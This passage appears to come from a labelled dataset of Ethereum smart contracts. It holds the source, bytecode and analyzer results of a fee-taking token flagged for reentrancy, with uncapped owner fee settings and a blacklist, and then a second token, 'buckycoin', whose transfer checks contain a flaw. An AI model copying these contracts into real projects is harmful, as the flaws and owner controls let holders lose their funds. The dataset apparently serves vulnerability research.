return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051d578063dd62ed3e1461053d578063ea1644d514610583578063f2fde38b146105a357600080fd5b8063a2a957bb14610498578063a9059cbb146104b8578063bfd79284146104d8578063c3c8cd801461050857600080fd5b80638f70ccf7116100d15780638f70ccf7146104165780638f9a55c01461043657806395d89b411461044c57806398a5c3151461047857600080fd5b806374010ece146103c25780637d1db4a5146103e25780638da5cb5b146103f857600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103585780636fc3eaec1461037857806370a082311461038d578063715018a6146103ad57600080fd5b8063313ce567146102fc57806349bd5a5e146103185780636b9990531461033857600080fd5b80631694505e116101a05780631694505e1461026a57806318160ddd146102a257806323b872dd146102c65780632fd689e3146102e657600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023a57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611961565b6105c3565b005b3480156101ff57600080fd5b5060408051808201909152600c81526b2134b733a23bb2b7223bb2b760a11b60208201525b6040516102319190611a26565b60405180910390f35b34801561024657600080fd5b5061025a610255366004611a7b565b610662565b6040519015158152602001610231565b34801561027657600080fd5b5060145461028a906001600160a01b031681565b6040516001600160a01b039091168152602001610231565b3480156102ae57600080fd5b50662386f26fc100005b604051908152602001610231565b3480156102d257600080fd5b5061025a6102e1366004611aa7565b610679565b3480156102f257600080fd5b506102b860185481565b34801561030857600080fd5b5060405160098152602001610231565b34801561032457600080fd5b5060155461028a906001600160a01b031681565b34801561034457600080fd5b506101f1610353366004611ae8565b6106e2565b34801561036457600080fd5b506101f1610373366004611b15565b61072d565b34801561038457600080fd5b506101f1610775565b34801561039957600080fd5b506102b86103a8366004611ae8565b6107c0565b3480156103b957600080fd5b506101f16107e2565b3480156103ce57600080fd5b506101f16103dd366004611b30565b610856565b3480156103ee57600080fd5b506102b860165481565b34801561040457600080fd5b506000546001600160a01b031661028a565b34801561042257600080fd5b506101f1610431366004611b15565b610885565b34801561044257600080fd5b506102b860175481565b34801561045857600080fd5b5060408051808201909152600381526210911160ea1b6020820152610224565b34801561048457600080fd5b506101f1610493366004611b30565b6108cd565b3480156104a457600080fd5b506101f16104b3366004611b49565b6108fc565b3480156104c457600080fd5b5061025a6104d3366004611a7b565b61093a565b3480156104e457600080fd5b5061025a6104f3366004611ae8565b60106020526000908152604090205460ff1681565b34801561051457600080fd5b506101f1610947565b34801561052957600080fd5b506101f1610538366004611b7b565b61099b565b34801561054957600080fd5b506102b8610558366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058f57600080fd5b506101f161059e366004611b30565b610a3c565b3480156105af57600080fd5b506101f16105be366004611ae8565b610a6b565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611c38565b60405180910390fd5b60005b815181101561065e5760016010600084848151811061061a5761061a611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065681611c99565b9150506105f9565b5050565b600061066f338484610b55565b5060015b92915050565b6000610686848484610c79565b6106d884336106d385604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b5565b610b55565b5060019392505050565b6000546001600160a01b0316331461070c5760405162461bcd60e51b81526004016105ed90611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107575760405162461bcd60e51b81526004016105ed90611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107aa57506013546001600160a01b0316336001600160a01b0316145b6107b357600080fd5b476107bd816111ef565b50565b6001600160a01b03811660009081526002602052604081205461067390611274565b6000546001600160a01b0316331461080c5760405162461bcd60e51b81526004016105ed90611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108805760405162461bcd60e51b81526004016105ed90611c38565b601655565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016105ed90611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f75760405162461bcd60e51b81526004016105ed90611c38565b601855565b6000546001600160a01b031633146109265760405162461bcd60e51b81526004016105ed90611c38565b600893909355600a91909155600955600b55565b600061066f338484610c79565b6012546001600160a01b0316336001600160a01b0316148061097c57506013546001600160a01b0316336001600160a01b0316145b61098557600080fd5b6000610990306107c0565b90506107bd816112f8565b6000546001600160a01b031633146109c55760405162461bcd60e51b81526004016105ed90611c38565b60005b82811015610a365781600560008686858181106109e7576109e7611c6d565b90506020020160208101906109fc9190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2e81611c99565b9150506109c8565b50505050565b6000546001600160a01b03163314610a665760405162461bcd60e51b81526004016105ed90611c38565b601755565b6000546001600160a01b03163314610a955760405162461bcd60e51b81526004016105ed90611c38565b6001600160a01b038116610afa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ed565b6000546001600160a01b03848116911614801590610dcd57506000546001600160a01b03838116911614155b156110ae57601554600160a01b900460ff16610e66576000546001600160a01b03848116911614610e665760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ed565b601654811115610eb85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ed565b6001600160a01b03831660009081526010602052604090205460ff16158015610efa57506001600160a01b03821660009081526010602052604090205460ff16155b610f525760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ed565b6015546001600160a01b03838116911614610fd75760175481610f74846107c0565b610f7e9190611cb4565b10610fd75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ed565b6000610fe2306107c0565b601854601654919250821015908210610ffb5760165491505b8080156110125750601554600160a81b900460ff16155b801561102c57506015546001600160a01b03868116911614155b80156110415750601554600160b01b900460ff165b801561106657506001600160a01b03851660009081526005602052604090205460ff16155b801561108b57506001600160a01b03841660009081526005602052604090205460ff16155b156110ab57611099826112f8565b4780156110a9576110a9476111ef565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f057506001600160a01b03831660009081526005602052604090205460ff165b8061112257506015546001600160a01b0385811691161480159061112257506015546001600160a01b03848116911614155b1561112f575060006111a9565b6015546001600160a01b03858116911614801561115a57506014546001600160a01b03848116911614155b1561116c57600854600c55600954600d555b6015546001600160a01b03848116911614801561119757506014546001600160a01b03858116911614155b156111a957600a54600c55600b54600d555b610a3684848484611472565b600081848411156111d95760405162461bcd60e51b81526004016105ed9190611a26565b5060006111e68486611ccc565b95945050505050565b6012546001600160a01b03166108fc6112098360026114a0565b6040518115909202916000818181858888f19350505050158015611231573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124c8360026114a0565b6040518115909202916000818181858888f1935050505015801561065e573d6000803e3d6000fd5b60006006548211156112db5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b60006112e56114e2565b90506112f183826114a0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134057611340611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce3565b816001815181106113d0576113d0611c6d565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b55565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d00565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a3657610a36600e54600c55600f54600d55565b60006112f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061162a565b60008060006114ef611658565b90925090506114fe82826114a0565b9250505090565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611735565b6001600160a01b0389166000908152600260205260409020556115c881611794565b6115d284836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6000818361164b5760405162461bcd60e51b81526004016105ed9190611a26565b5060006111e68486611d71565b6006546000908190662386f26fc1000061167282826114a0565b82101561168d57505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c36114e2565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b5565b6000806117428385611cb4565b9050838110156112f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b600061179e6114e2565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114a0565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b657506000610673565b60006118c28385611d93565b9050826118cf8583611d71565b146112f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107bd57600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112f18161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112f182611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112f18161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a6ea2eb29825a622d8af5f61d4d6f00cfd14ae6917a4b89c44bbdf2d272d71164736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,406 |
0x0d6b7184fe73365cb21bf044b5d415446c26d904
|
pragma solidity ^0.4.23;
// ----------------------------------------------------------------------------
// 'buckycoin' token contract
//
// Deployed to : 0x0d6b7184fe73365cB21Bf044B5d415446C26D904
// Symbol : BUCKY
// Name : buckycoin Token
// Total supply: 940000000
// Decimals : 18
// Website : https://www.buckycoin.io
// Email : tokens@buckycoin.io
// POWERED BY BUCKY HOUSE.
// (c) by Team @ BUCKYHOUSE 2018.
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
// allowedAddresses will be able to transfer even when locked
// lockedAddresses will *not* be able to transfer even when *not locked*
mapping(address => bool) public allowedAddresses;
mapping(address => bool) public lockedAddresses;
bool public locked = true;
function allowAddress(address _addr, bool _allowed) public onlyOwner {
require(_addr != owner);
allowedAddresses[_addr] = _allowed;
}
function lockAddress(address _addr, bool _locked) public onlyOwner {
require(_addr != owner);
lockedAddresses[_addr] = _locked;
}
function setLocked(bool _locked) public onlyOwner {
locked = _locked;
}
function canTransfer(address _addr) public constant returns (bool) {
if(locked){
if(!allowedAddresses[_addr]&&_addr!=owner) return false;
}else if(lockedAddresses[_addr]) return false;
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract BuckyCoin is BurnableToken {
string public constant name = "BUCKY COIN";
string public constant symbol = "BUCKY";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 940000000 * (10 ** uint256(decimals));
// Constructors
function BuckyCoin () {
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
allowedAddresses[owner] = true;
}
}
|
0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461012d578063095ea7b3146101bd57806318160ddd14610222578063211e28b61461024d57806323b872dd1461027c578063313ce56714610301578063378dc3dc1461032c5780634120657a1461035757806342966c68146103b25780634edc689d146103df578063661884631461042e57806370a082311461049357806378fc3cb3146104ea5780638da5cb5b1461054557806395d89b411461059c578063a5bbd67a1461062c578063a9059cbb14610687578063cf309012146106ec578063d73dd6231461071b578063dd62ed3e14610780578063f2260031146107f7578063f2fde38b14610846575b600080fd5b34801561013957600080fd5b50610142610889565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c957600080fd5b50610208600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108c2565b604051808215151515815260200191505060405180910390f35b34801561022e57600080fd5b506102376109b4565b6040518082815260200191505060405180910390f35b34801561025957600080fd5b5061027a6004803603810190808035151590602001909291905050506109ba565b005b34801561028857600080fd5b506102e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a